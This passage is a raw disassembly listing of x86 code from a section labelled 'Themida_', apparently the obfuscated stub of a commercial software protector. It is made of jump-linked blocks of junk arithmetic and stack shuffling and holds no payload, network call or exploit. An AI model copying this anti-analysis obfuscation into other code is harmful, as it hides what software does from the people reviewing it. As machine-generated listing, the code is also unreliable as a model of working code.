jmp loc_5AB197
; ---------------------------------------------------------------------------
loc_59F424: ; CODE XREF: Themida_:005A8E52j
jmp loc_5AEBDE
; ---------------------------------------------------------------------------
loc_59F429: ; CODE XREF: Themida_:005AA064j
xchg edi, [esp]
mov esp, [esp]
add bl, 12h
sub esp, 4
mov [esp], eax
mov ah, 7Bh
sub ah, 0FBh
inc ah
push bx
push ecx
mov ch, 0FDh
jmp loc_5A3444
; ---------------------------------------------------------------------------
loc_59F44C: ; CODE XREF: Themida_:005A2F87j
; Themida_:005AE293j
jmp loc_5AF588
; ---------------------------------------------------------------------------
loc_59F451: ; CODE XREF: Themida_:005A2A5Cj
inc ecx
xor ecx, 93A7A99Eh
mov ebp, ecx
pop ecx
add ebx, ebp
pop ebp
pop edx
push ebp
push edi
mov edi, 4
push edi
pop ebp
pop edi
add ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_59953B
; ---------------------------------------------------------------------------
loc_59F479: ; CODE XREF: Themida_:0059CCA8j
push ebp
pop ebx
jmp loc_5A5AE5
; ---------------------------------------------------------------------------
loc_59F480: ; CODE XREF: Themida_:005A4CE1j
; Themida_:005AB1F3j
mov [esp], edx
push ecx
mov ch, 0Eh
sub esp, 4
mov [esp], eax
jmp loc_5AC12C
; ---------------------------------------------------------------------------
loc_59F491: ; CODE XREF: Themida_:005AD8ADj
add edx, 8B327Ch
add [edx], ecx
pop edx
jmp loc_5A40FA
; ---------------------------------------------------------------------------
loc_59F49F: ; CODE XREF: Themida_:005AA11Ej
shl ebx, 4
xor ebx, 64480044h
mov ebp, ebx
pop ebx
add dword ptr [esp+4], 579D1D34h
push edx
mov edx, 516C5600h
sub [esp+8], edx
jmp loc_5A79E2
; ---------------------------------------------------------------------------
loc_59F4C2: ; CODE XREF: Themida_:0059B984j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
idiv cx
push small 419Eh
mov [esp], dx
push ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59F4E4: ; CODE XREF: Themida_:005A9F0Dj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub edi, 3B6075A7h
add edi, esi
add edi, 3B6075A7h
pop esi
push eax
jmp loc_5A982A
; ---------------------------------------------------------------------------
loc_59F509: ; CODE XREF: Themida_:005A34B8j
pop dword ptr [esp]
pop esp
sub esp, 2
mov [esp], cx
mov cl, 7Eh
jmp loc_59F7ED
; ---------------------------------------------------------------------------
lodsb
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5A0EE6
; ---------------------------------------------------------------------------
loc_59F52D: ; CODE XREF: Themida_:00599333j
mov al, bh
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push edx
mov dl, al
mov bh, dl
pop edx
mov dl, bh
jmp loc_5A6DFF
; ---------------------------------------------------------------------------
loc_59F54B: ; CODE XREF: Themida_:0059EF41j
pop ebx
sub esp, 4
mov [esp], eax
mov eax, 4
push eax
mov eax, 49B36512h
sub ebx, eax
pop eax
add ebx, 30CE6006h
jmp loc_5A67B1
; ---------------------------------------------------------------------------
loc_59F56E: ; CODE XREF: Themida_:00598CA4j
push ebx
mov ebx, 3D813C4Ah
add edx, ebx
pop ebx
sub edx, 67E60059h
jmp loc_598E45
; ---------------------------------------------------------------------------
loc_59F582: ; DATA XREF: Themida_:005986E4o
mov ax, [esp]
push eax
jmp loc_5A2803
; ---------------------------------------------------------------------------
loc_59F58C: ; CODE XREF: Themida_:005A92A0j
; Themida_:005A98FAj
mov [esp], edi
jmp loc_5A7F27
; ---------------------------------------------------------------------------
loc_59F594: ; CODE XREF: Themida_:005A20ABj
add esp, 4
or ecx, 3DE71044h
sub ecx, 0FFFFFFFFh
add ecx, 0AE4A4ED5h
or ebp, ecx
jmp loc_5AA6CB
; ---------------------------------------------------------------------------
loc_59F5B3: ; CODE XREF: Themida_:005A0DABj
mov ch, 1Ah
jmp loc_5A0DC1
; ---------------------------------------------------------------------------
loc_59F5BA: ; CODE XREF: Themida_:005AF2A7j
sub esp, 4
mov [esp], edx
push esi
push ebp
push 106C4106h
pop ebp
xor ebp, 20A22100h
mov esi, ebp
jmp loc_5A80EC
; ---------------------------------------------------------------------------
loc_59F5D8: ; CODE XREF: Themida_:005A8E75j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov eax, [esp]
push ebp
push esp
jmp loc_59D8F4
; ---------------------------------------------------------------------------
loc_59F5FD: ; CODE XREF: Themida_:005A8979j
xchg edx, [esp]
pop esp
sub dword ptr [esp], 136F2CB3h
jmp loc_5A8D1C
; ---------------------------------------------------------------------------
loc_59F60D: ; CODE XREF: Themida_:005AAB64j
mov [esp], ecx
sub esp, 4
mov [esp], edx
push ebx
mov bh, al
mov dl, bh
pop ebx
sub esp, 4
mov [esp], ebx
push eax
mov ah, dl
jmp loc_599FF8
; ---------------------------------------------------------------------------
loc_59F62D: ; CODE XREF: Themida_:005AF549j
push 6802h
mov [esp], edx
jmp loc_59ADC0
; ---------------------------------------------------------------------------
loc_59F63A: ; CODE XREF: Themida_:005A05DAj
mov ecx, 3767650h
or ecx, 6A05046Fh
neg ecx
xor ecx, 0AC58B624h
jmp loc_5A4276
; ---------------------------------------------------------------------------
loc_59F652: ; CODE XREF: Themida_:0059947Fj
push eax
push esp
pop eax
push 1412h
mov [esp], edx
push ebx
push ecx
push 0BB636F9h
mov ecx, [esp]
add esp, 4
add ecx, 18BF2BE5h
jge loc_59A423
or ecx, 21BA3513h
jns loc_5A3637
mov ebp, ebx
pop ebp
loc_59F685: ; CODE XREF: Themida_:loc_5A77C4j
sub esp, 4
mov [esp], eax
push edx
push 95C7640h
jmp loc_5ABD9E
; ---------------------------------------------------------------------------
loc_59F699: ; CODE XREF: Themida_:0059EF2Ej
add esi, edx
jmp loc_59C38B
; ---------------------------------------------------------------------------
loc_59F6A0: ; CODE XREF: Themida_:0059BE91j
; Themida_:005A87DDj
mov edx, esp
add edx, 4
jmp loc_59AD28
; ---------------------------------------------------------------------------
loc_59F6AD: ; CODE XREF: Themida_:005A93BBj
push 4576h
mov [esp], edx
mov edx, 14AC43B5h
push esi
mov esi, 2E41130h
jmp loc_59E440
; ---------------------------------------------------------------------------
loc_59F6C5: ; CODE XREF: Themida_:005ACE55j
xor edi, 75B1EE0h
xor edi, 1F0144B3h
sub eax, edi
jmp loc_59D2D8
; ---------------------------------------------------------------------------
loc_59F6D8: ; CODE XREF: Themida_:005AE492j
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, 2F060859h
inc edi
xor edi, 79987BF1h
push ebx
jmp loc_5A4B9C
; ---------------------------------------------------------------------------
loc_59F6F1: ; CODE XREF: Themida_:0059AB7Fj
pop esi
mov ebx, [esp]
jmp loc_5ADA98
; ---------------------------------------------------------------------------
loc_59F6FA: ; CODE XREF: Themida_:0059D3CBj
push edx
push ecx
sub esp, 4
mov [esp], ebx
mov bh, 0EDh
jmp loc_5AA38D
; ---------------------------------------------------------------------------
loc_59F709: ; CODE XREF: Themida_:0059BC80j
add ebp, edi
sub ebp, 4E451A3Dh
push dword ptr [esp]
push dword ptr [esp]
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
jmp loc_5A1257
; ---------------------------------------------------------------------------
loc_59F731: ; CODE XREF: Themida_:005A6A77j
pop eax
push esi
push ebp
jmp loc_5AB1FB
; ---------------------------------------------------------------------------
loc_59F739: ; CODE XREF: Themida_:0059DE3Bj
mov edx, [esp]
add esp, 4
add edx, 2CC107C9h
jmp loc_5AD509
; ---------------------------------------------------------------------------
loc_59F74A: ; CODE XREF: Themida_:005AE2B1j
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5A670C
; ---------------------------------------------------------------------------
loc_59F756: ; CODE XREF: Themida_:005A5E46j
xor eax, 7C158AEh
jnb loc_5994C9
neg eax
sub eax, 11F7667Ch
jmp loc_59BB5C
; ---------------------------------------------------------------------------
pop ax
loc_59F76F: ; CODE XREF: Themida_:005A931Aj
add edi, 35F8666Ch
jmp loc_5AC1AD
; ---------------------------------------------------------------------------
loc_59F77A: ; CODE XREF: Themida_:0059F85Ej
add bh, 51h
mov ch, bh
mov ebx, [esp]
add esp, 4
mov dl, ch
mov ecx, [esp]
add esp, 4
jmp loc_5AF399
; ---------------------------------------------------------------------------
loc_59F798: ; CODE XREF: Themida_:0059A717j
add ebx, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 7741028Ah
sub edi, 1
neg edi
xor edi, 0D744C4Eh
jmp loc_59CEEB
; ---------------------------------------------------------------------------
loc_59F7BE: ; CODE XREF: Themida_:005ACC8Ej
add al, dl
jmp loc_5A6483
; ---------------------------------------------------------------------------
loc_59F7C5: ; CODE XREF: Themida_:00599A31j
; Themida_:005A5203j
add esp, 4
add ecx, 4
jmp loc_5AB384
; ---------------------------------------------------------------------------
loc_59F7D3: ; CODE XREF: Themida_:0059A129j
push ebp
push ebx
mov ebx, 22A52BF9h
sub [esp+4], ebx
pop ebx
mov eax, [esp]
add esp, 4
jmp loc_5AB7CF
; ---------------------------------------------------------------------------
loc_59F7ED: ; CODE XREF: Themida_:0059F516j
push ebx
mov bh, 93h
sub bh, 19h
sub al, bh
mov ebx, [esp]
add esp, 4
sub al, cl
push ecx
mov ch, 29h
sub ch, 0AFh
push ebx
mov bh, 93h
add al, bh
pop ebx
add al, 0E9h
jmp loc_59EB34
; ---------------------------------------------------------------------------
loc_59F813: ; CODE XREF: Themida_:0059C27Dj
shr ecx, 2
jmp loc_5A2737
; ---------------------------------------------------------------------------
loc_59F81B: ; CODE XREF: Themida_:00598F88j
; Themida_:005A0C2Dj
sub eax, ebp
sub eax, 3F9F5F1Ah
pop ebp
jmp loc_5A9921
; ---------------------------------------------------------------------------
loc_59F828: ; CODE XREF: Themida_:005AB8DFj
pop ebx
not ebx
push eax
mov eax, 0FAE23FAh
jmp loc_59D437
; ---------------------------------------------------------------------------
loc_59F836: ; CODE XREF: Themida_:005A823Ej
add eax, ecx
push ebp
mov ebp, 2F511DC0h
xor ebp, 5011523Dh
jmp loc_5ADE02
; ---------------------------------------------------------------------------
loc_59F849: ; CODE XREF: Themida_:0059D183j
sub esp, 4
jmp loc_5A2FE2
; ---------------------------------------------------------------------------
loc_59F854: ; CODE XREF: Themida_:loc_59DBA5j
not ebp
jmp loc_59AF1E
; ---------------------------------------------------------------------------
loc_59F85B: ; CODE XREF: Themida_:005AA395j
sub bh, 91h
jp loc_59F77A
add bh, 51h
mov ch, bh
mov ebx, [esp]
or bl, 0D2h
loc_59F86F: ; CODE XREF: Themida_:00599CD5j
pop eax
inc eax
jmp loc_59C854
; ---------------------------------------------------------------------------
loc_59F876: ; CODE XREF: Themida_:005A4288j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_59DF43
; ---------------------------------------------------------------------------
loc_59F88A: ; CODE XREF: Themida_:005AFD64j
shr ebx, 7
js loc_5A0E38
xor ebx, 0D4CCDFBh
jmp loc_598E87
; ---------------------------------------------------------------------------
loc_59F89E: ; CODE XREF: Themida_:005A6BF5j
; Themida_:005A8C36j
sub bl, dl
pop edx
jmp loc_5A29ED
; ---------------------------------------------------------------------------
loc_59F8A6: ; CODE XREF: Themida_:005A1C73j
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
jmp loc_5A9763
; ---------------------------------------------------------------------------
loc_59F8B8: ; CODE XREF: Themida_:005ABE33j
mov bl, 1Eh
mov al, 0CEh
sub al, bl
pop ebx
inc al
neg al
sub al, 0F5h
push edx
mov dl, 5Ah
xor al, dl
pop edx
jmp loc_5A6BE1
; ---------------------------------------------------------------------------
loc_59F8D0: ; CODE XREF: Themida_:0059D5DBj
mov esi, 0D60747h
sub esi, 0FA37ED4Eh
add edi, 6AAC3485h
sub edi, esi
jmp loc_5A1DC0
; ---------------------------------------------------------------------------
loc_59F8E8: ; CODE XREF: Themida_:005AF96Dj
xor di, 656Eh
jmp loc_5A944F
; ---------------------------------------------------------------------------
loc_59F8F2: ; CODE XREF: Themida_:005A8BA4j
push dword ptr [edi+eax*4]
jmp loc_5ADDEB
; ---------------------------------------------------------------------------
loc_59F8FA: ; CODE XREF: Themida_:005A39B1j
dec edx
jmp loc_5AF12D
; ---------------------------------------------------------------------------
loc_59F900: ; CODE XREF: Themida_:005A5C46j
mov edx, 4
add [esp+4], edx
pop edx
push dword ptr [esp]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5AA61B
; ---------------------------------------------------------------------------
loc_59F91E: ; CODE XREF: Themida_:005A3287j
jnp loc_5AD168
sub ebp, 0A10B1669h
add ebp, 0A7C2976Dh
add ebx, 53355750h
sub esp, 4
mov [esp], ebp
push edx
mov edx, 35425DF5h
jmp loc_5A0162
; ---------------------------------------------------------------------------
loc_59F94A: ; CODE XREF: Themida_:0059CADEj
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
jmp loc_59BCFE
; ---------------------------------------------------------------------------
loc_59F95C: ; CODE XREF: Themida_:005A5D7Aj
push edi
mov edi, 1B8709A1h
mov ebx, edi
jmp loc_59B618
; ---------------------------------------------------------------------------
loc_59F969: ; CODE XREF: Themida_:005A25E6j
; Themida_:005A70CFj
not al
jmp loc_5A08D2
; ---------------------------------------------------------------------------
loc_59F970: ; CODE XREF: Themida_:005A1189j
; Themida_:005A517Bj
push edi
push eax
mov eax, 64C5446Dh
add eax, 7C245BD3h
jnb loc_5A5E44
neg eax
ja loc_5AD51A
xor eax, 7C158AEh
pop ebp
loc_59F990: ; CODE XREF: Themida_:005ADF7Cj
mov edi, 78C26A6Bh
sub ebp, edi
pop edi
add ebp, 0E2444E38h
add edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
jmp loc_5A93B7
; ---------------------------------------------------------------------------
loc_59F9AC: ; CODE XREF: Themida_:005AFD7Bj
pop ebx
shl edx, 7
shr edx, 1
push ebp
mov ebp, 184F4666h
and ebp, 335549FDh
jmp loc_59B4E8
; ---------------------------------------------------------------------------
loc_59F9C3: ; CODE XREF: Themida_:005A064Bj
sub dh, bh
mov ebx, [esp]
add esp, 4
push eax
jmp loc_5AFAB0
; ---------------------------------------------------------------------------
loc_59F9D4: ; CODE XREF: Themida_:005AA66Cj
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_5A8915
; ---------------------------------------------------------------------------
loc_59F9E0: ; CODE XREF: Themida_:005A0DDAj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_5AC30C
; ---------------------------------------------------------------------------
loc_59FA08: ; CODE XREF: Themida_:0059B893j
add ebx, eax
sub ebx, 192804C4h
pop eax
jmp loc_5A201D
; ---------------------------------------------------------------------------
loc_59FA16: ; CODE XREF: Themida_:0059A4E2j
xor ebx, 73DA5DECh
jmp loc_5A95BB
; ---------------------------------------------------------------------------
loc_59FA21: ; CODE XREF: Themida_:0059CC8Aj
push edi
push 53D6h
mov [esp], eax
push esi
push eax
push 67067BCDh
pop eax
jmp loc_5A068A
; ---------------------------------------------------------------------------
loc_59FA37: ; CODE XREF: Themida_:005ADFD6j
sub esi, 62222172h
add esi, 0B10412Bh
add esi, eax
jmp loc_599B26
; ---------------------------------------------------------------------------
loc_59FA4A: ; CODE XREF: Themida_:0059F1CCj
jmp loc_5A70C7
; ---------------------------------------------------------------------------
loc_59FA4F: ; CODE XREF: Themida_:0059E243j
push dword ptr [esp]
pop ebp
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push eax
mov eax, 56EF6773h
jmp loc_5A917F
; ---------------------------------------------------------------------------
loc_59FA6A: ; CODE XREF: Themida_:005A94F8j
add ebx, 354166h
jnp loc_5AD014
push 39FEh
mov [esp], edi
jmp loc_5A44D7
; ---------------------------------------------------------------------------
loc_59FA83: ; CODE XREF: Themida_:005ADAB1j
push ecx
mov ecx, 0F7EFF803h
jmp loc_5AC2A3
; ---------------------------------------------------------------------------
loc_59FA8E: ; CODE XREF: Themida_:0059B9C6j
mov [esp], esi
push ecx
mov ecx, edi
jmp loc_5A22A4
; ---------------------------------------------------------------------------
loc_59FA99: ; CODE XREF: Themida_:0059C494j
mov eax, [esp]
jmp loc_5A7200
; ---------------------------------------------------------------------------
loc_59FAA1: ; CODE XREF: Themida_:005ABF2Bj
pop dword ptr [eax]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59FAA8: ; CODE XREF: Themida_:005A6E62j
not edi
push ebx
mov ebx, 0DF82B06h
or edi, ebx
jmp loc_5A4A1C
; ---------------------------------------------------------------------------
loc_59FAB7: ; CODE XREF: Themida_:0059EAB5j
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], eax
xor dword ptr [esp], 6B9430C3h
mov ecx, [esp]
add esp, 4
push edx
sub esp, 4
mov [esp], eax
push 36AB0134h
jmp loc_59A99B
; ---------------------------------------------------------------------------
loc_59FAF3: ; CODE XREF: Themida_:005A7DF6j
pop eax
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edx
push esp
pop edx
push eax
push esp
jmp loc_5A3D52
; ---------------------------------------------------------------------------
loc_59FB0C: ; CODE XREF: Themida_:005A86E5j
sub ebx, 3BA31BD9h
sub esp, 4
mov [esp], esi
mov esi, 20CE1540h
xor esi, 7EC3578Dh
jmp loc_5AC417
; ---------------------------------------------------------------------------
loc_59FB28: ; CODE XREF: Themida_:loc_59E614j
sub eax, 0D9C350C9h
mov ebx, eax
jmp loc_5A233A
; ---------------------------------------------------------------------------
loc_59FB34: ; CODE XREF: Themida_:0059BF29j
mov ebp, edx
pop edx
add edx, ebp
pop ebp
or edx, 7424A45h
jmp loc_5ADE29
; ---------------------------------------------------------------------------
loc_59FB45: ; CODE XREF: Themida_:005A76C6j
shr ecx, 7
push 0CBCh
mov [esp], ecx
push ebx
pop ecx
jmp loc_5A090D
; ---------------------------------------------------------------------------
loc_59FB57: ; CODE XREF: Themida_:005ABEEFj
mov edi, eax
pop eax
jmp loc_5AC3D1
; ---------------------------------------------------------------------------
loc_59FB5F: ; CODE XREF: Themida_:005A5D62j
shr ebx, 2
add ebx, 38666E13h
add ebx, 0FFFFFFFFh
add ebx, 0D470EDDh
xor ebx, 18672E97h
sub ecx, ebx
pop ebx
sub ecx, ebp
push ebp
mov ebp, 5E30229Dh
add ecx, ebp
pop ebp
mov ebp, [esp]
add esp, 4
pop eax
jmp loc_5AAC43
; ---------------------------------------------------------------------------
loc_59FB94: ; CODE XREF: Themida_:005A62C6j
add edi, eax
pop eax
jmp loc_5A27EF
; ---------------------------------------------------------------------------
loc_59FB9C: ; CODE XREF: Themida_:005AE1D1j
xor edi, 317E573Fh
jmp loc_59B1A3
; ---------------------------------------------------------------------------
loc_59FBA7: ; CODE XREF: Themida_:005A641Aj
push edx
mov edx, 4
mov eax, edx
pop edx
sub esp, 4
mov [esp], ebx
mov ebx, eax
mov edx, ebx
pop ebx
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push ecx
mov ecx, 18042BFAh
add eax, ecx
pop ecx
add eax, 75DA75EFh
add eax, edx
sub eax, 75DA75EFh
sub eax, 18042BFAh
pop edx
jmp loc_59B738
; ---------------------------------------------------------------------------
loc_59FBF3: ; CODE XREF: Themida_:0059BE9Fj
pop dword ptr [esp]
jmp loc_5A2A06
; ---------------------------------------------------------------------------
loc_59FBFB: ; CODE XREF: Themida_:005AD359j
dec ebp
jl loc_59B56F
neg ebp
push ebx
jmp loc_5ABC4F
; ---------------------------------------------------------------------------
loc_59FC0A: ; CODE XREF: Themida_:005A01A6j
push dword ptr [esp]
pop edi
add esp, 4
push esi
push dword ptr [esp+4]
jmp loc_5A6966
; ---------------------------------------------------------------------------
loc_59FC1E: ; CODE XREF: Themida_:005ACD27j
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_5A2D65
; ---------------------------------------------------------------------------
loc_59FC2A: ; CODE XREF: Themida_:005AD6F3j
js loc_5AA7C8
push edx
push ecx
mov ch, 51h
neg ch
xor ch, 0CBh
mov ch, 93h
xor al, 8Ch
loc_59FC3D: ; CODE XREF: Themida_:005A0BADj
pop ebx
jmp loc_5AF355
; ---------------------------------------------------------------------------
loc_59FC43: ; CODE XREF: Themida_:0059A910j
push edx
mov edx, 0BF11FCEh
jmp loc_59A830
; ---------------------------------------------------------------------------
loc_59FC4E: ; CODE XREF: Themida_:005AF346j
push edx
mov edx, 4
add edi, edx
mov edx, [esp]
jmp loc_59E6C9
; ---------------------------------------------------------------------------
loc_59FC5E: ; CODE XREF: Themida_:0059C9F5j
sub ecx, 45673DD3h
jmp loc_59ADCF
; ---------------------------------------------------------------------------
loc_59FC69: ; CODE XREF: Themida_:0059E39Bj
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push edx
mov edx, 4
jmp loc_5A387E
; ---------------------------------------------------------------------------
loc_59FC7D: ; CODE XREF: Themida_:005A1A67j
add eax, edi
push dword ptr [esp]
pop edi
push eax
mov eax, esp
jmp loc_5AA3D4
; ---------------------------------------------------------------------------
loc_59FC8B: ; CODE XREF: Themida_:005AA2A9j
push 55Bh
mov [esp], esi
mov esi, 5BBD6774h
shl esi, 6
push 5746h
jmp loc_5A4A2F
; ---------------------------------------------------------------------------
loc_59FCA5: ; CODE XREF: Themida_:0059A2DCj
; Themida_:005A46D7j
sub ebx, edi
pop edi
mov edx, ebx
jmp loc_5995B4
; ---------------------------------------------------------------------------
loc_59FCAF: ; CODE XREF: Themida_:005A222Bj
jmp loc_5A5C35
; ---------------------------------------------------------------------------
loc_59FCB4: ; CODE XREF: Themida_:0059B990j
mov edi, [esp]
add esp, 4
add ebx, 4
jmp loc_5A6DE0
; ---------------------------------------------------------------------------
loc_59FCC8: ; CODE XREF: Themida_:005A7F1Dj
push eax
mov eax, 34D34310h
not eax
jmp loc_5A09AE
; ---------------------------------------------------------------------------
loc_59FCD5: ; CODE XREF: Themida_:005A966Bj
jmp loc_5A1AF2
; ---------------------------------------------------------------------------
loc_59FCDA: ; CODE XREF: Themida_:005A6793j
xchg ecx, [esp]
pop esp
jmp loc_5ABF56
; ---------------------------------------------------------------------------
loc_59FCE3: ; CODE XREF: Themida_:005ABDD7j
mov dl, cl
jmp loc_5A14E5
; ---------------------------------------------------------------------------
loc_59FCEA: ; CODE XREF: Themida_:005A638Ej
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59B4DD
; ---------------------------------------------------------------------------
loc_59FCFE: ; CODE XREF: Themida_:0059B650j
push dx
mov dh, 6Ah
add bl, dh
pop dx
add bl, 49h
sub bl, 32h
add bl, al
add bl, 32h
jmp loc_5A5F6F
; ---------------------------------------------------------------------------
loc_59FD16: ; CODE XREF: Themida_:005AFE17j
sub bl, 0F0h
movzx eax, al
push dword ptr [edi+eax*4]
push eax
mov eax, 3E2A0166h
jmp loc_5A9A5D
; ---------------------------------------------------------------------------
loc_59FD2A: ; CODE XREF: Themida_:005A25BAj
sub edx, 36775A5h
jmp loc_59AD67
; ---------------------------------------------------------------------------
loc_59FD35: ; CODE XREF: Themida_:005AAB44j
sub esp, 4
mov [esp], ecx
mov ecx, 386C46DDh
push esi
mov esi, 31FD62D9h
add esi, 7D222F3Dh
sub esi, 30874970h
xor ecx, esi
jmp loc_59B6B7
; ---------------------------------------------------------------------------
loc_59FD5C: ; CODE XREF: Themida_:005AEE56j
pop eax
push ebp
push esi
jmp loc_5A56FF
; ---------------------------------------------------------------------------
loc_59FD64: ; CODE XREF: Themida_:0059CA0Ej
mov cl, bl
jmp loc_5A0D45
; ---------------------------------------------------------------------------
loc_59FD6B: ; CODE XREF: Themida_:0059EE75j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push esi
jmp loc_5A2081
; ---------------------------------------------------------------------------
loc_59FD7D: ; CODE XREF: Themida_:005A2AC7j
xor [esp], edx
jmp loc_5A2E32
; ---------------------------------------------------------------------------
loc_59FD85: ; CODE XREF: Themida_:005AFCE5j
xchg esi, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
jmp loc_59BCC4
; ---------------------------------------------------------------------------
loc_59FD95: ; CODE XREF: Themida_:005A001Dj
mov edi, 5CF42394h
add edi, 1
or edi, 5E34990h
add edi, 9EE94C4h
add edx, edi
jmp loc_59AAB1
; ---------------------------------------------------------------------------
loc_59FDB0: ; CODE XREF: Themida_:005ACF2Fj
mov [esp], ecx
mov ecx, 20895F4Bh
shl ecx, 4
jz loc_5A8A83
inc ecx
jnp loc_5A43DB
jmp loc_5A3DEE
; ---------------------------------------------------------------------------
loc_59FDCD: ; CODE XREF: Themida_:0059E7D5j
add esp, 4
push ebx
jmp loc_5AA1AC
; ---------------------------------------------------------------------------
loc_59FDD6: ; CODE XREF: Themida_:005AD9C8j
; Themida_:005AE7F2j
push ebx
jmp loc_5995C8
; ---------------------------------------------------------------------------
loc_59FDDC: ; CODE XREF: Themida_:0059B018j
push edi
mov edi, 3F373278h
shl edi, 5
jmp loc_59E317
; ---------------------------------------------------------------------------
loc_59FDEA: ; CODE XREF: Themida_:005A244Aj
add esp, 4
add edx, eax
push esi
jmp loc_5A401F
; ---------------------------------------------------------------------------
loc_59FDF5: ; CODE XREF: Themida_:005AAF77j
add al, 32h
jmp loc_5A0214
; ---------------------------------------------------------------------------
loc_59FDFC: ; CODE XREF: Themida_:0059A06Bj
xor edi, 434F199Ch
dec edi
sub esp, 4
jmp loc_5AFBDC
; ---------------------------------------------------------------------------
loc_59FE0E: ; CODE XREF: Themida_:0059EACDj
jz loc_5A98C0
jmp loc_59963A
; ---------------------------------------------------------------------------
loc_59FE19: ; CODE XREF: Themida_:005AE6FBj
pop dword ptr [esp]
mov esp, [esp]
push esi
mov esi, 27318A1h
add [esp+4], esi
pop esi
sub dword ptr [esp], 663054ECh
add [esp], eax
push edx
mov edx, 663054ECh
sub dword ptr [esp+4], 41B03D86h
sub dword ptr [esp+4], 508C788Fh
jmp loc_5AAC4A
; ---------------------------------------------------------------------------
loc_59FE4F: ; CODE XREF: Themida_:005A5F41j
and edi, 63E9773Ah
jmp loc_59B7E9
; ---------------------------------------------------------------------------
loc_59FE5A: ; CODE XREF: Themida_:005ABE49j
push esi
push edx
mov edx, 3E3F3D69h
push 0DE4390Ah
jmp loc_59D621
; ---------------------------------------------------------------------------
loc_59FE6B: ; CODE XREF: Themida_:0059C5EFj
sub ecx, 338BBB6Fh
add esi, ecx
pop ecx
add ebx, 0BD3499h
sub ebx, esi
push esi
mov esi, 0BD3499h
sub ebx, esi
jmp loc_5AECFB
; ---------------------------------------------------------------------------
loc_59FE89: ; CODE XREF: Themida_:005AF605j
push edi
jmp loc_5A7EDE
; ---------------------------------------------------------------------------
loc_59FE8F: ; CODE XREF: Themida_:005A1E7Bj
add bl, al
add bl, 9Ah
push edx
jmp loc_59DCE5
; ---------------------------------------------------------------------------
loc_59FE9A: ; CODE XREF: Themida_:005AE72Fj
sub edi, 81816B1h
jz loc_59ED73
jmp loc_5A5A4A
; ---------------------------------------------------------------------------
loc_59FEAB: ; CODE XREF: Themida_:005A7E42j
sub esi, 44645DE3h
add ebp, esi
pop esi
push ebp
jmp loc_59AEDA
; ---------------------------------------------------------------------------
loc_59FEBA: ; CODE XREF: Themida_:005A92E7j
and eax, ebp
push dword ptr [esp]
pop ebp
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_59E54E
; ---------------------------------------------------------------------------
loc_59FED4: ; CODE XREF: Themida_:005AEA89j
add eax, 0DB8E193Dh
mov esi, eax
mov eax, [esp]
jmp loc_5A4E43
; ---------------------------------------------------------------------------
loc_59FEE3: ; CODE XREF: Themida_:005A1A57j
mov ebx, 79291305h
add ebx, 60DE070Eh
jo loc_5AC1D4
shr ebx, 5
jns loc_5A520B
mov cl, ah
pop ecx
loc_59FF00: ; CODE XREF: Themida_:005A73ACj
pop edx
jmp loc_5A46A1
; ---------------------------------------------------------------------------
loc_59FF06: ; CODE XREF: Themida_:0059BBD8j
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_5A6027
; ---------------------------------------------------------------------------
loc_59FF17: ; CODE XREF: Themida_:0059CD53j
; Themida_:005A350Dj
and edx, 119E71E5h
jmp loc_5A0FDB
; ---------------------------------------------------------------------------
loc_59FF22: ; CODE XREF: Themida_:005AC34Ej
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5A3830
; ---------------------------------------------------------------------------
loc_59FF36: ; CODE XREF: Themida_:005A1454j
pop edi
pop ebx
sub eax, 2336E5Ah
add eax, edi
add eax, 2336E5Ah
push dword ptr [esp]
jmp loc_59E7E2
; ---------------------------------------------------------------------------
loc_59FF4C: ; CODE XREF: Themida_:0059FFE1j
push eax
push 314321A3h
jmp loc_599119
; ---------------------------------------------------------------------------
loc_59FF57: ; CODE XREF: Themida_:005AC719j
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5AF898
; ---------------------------------------------------------------------------
loc_59FF72: ; CODE XREF: Themida_:005ADAE0j
pop edx
sub esp, 4
mov [esp], edx
mov dh, 0CEh
neg dh
add dh, 33h
jmp loc_599DEF
; ---------------------------------------------------------------------------
loc_59FF88: ; CODE XREF: Themida_:005A32D4j
pop ebx
mov eax, [esp]
add esp, 4
and eax, ebx
jmp loc_5ACEAB
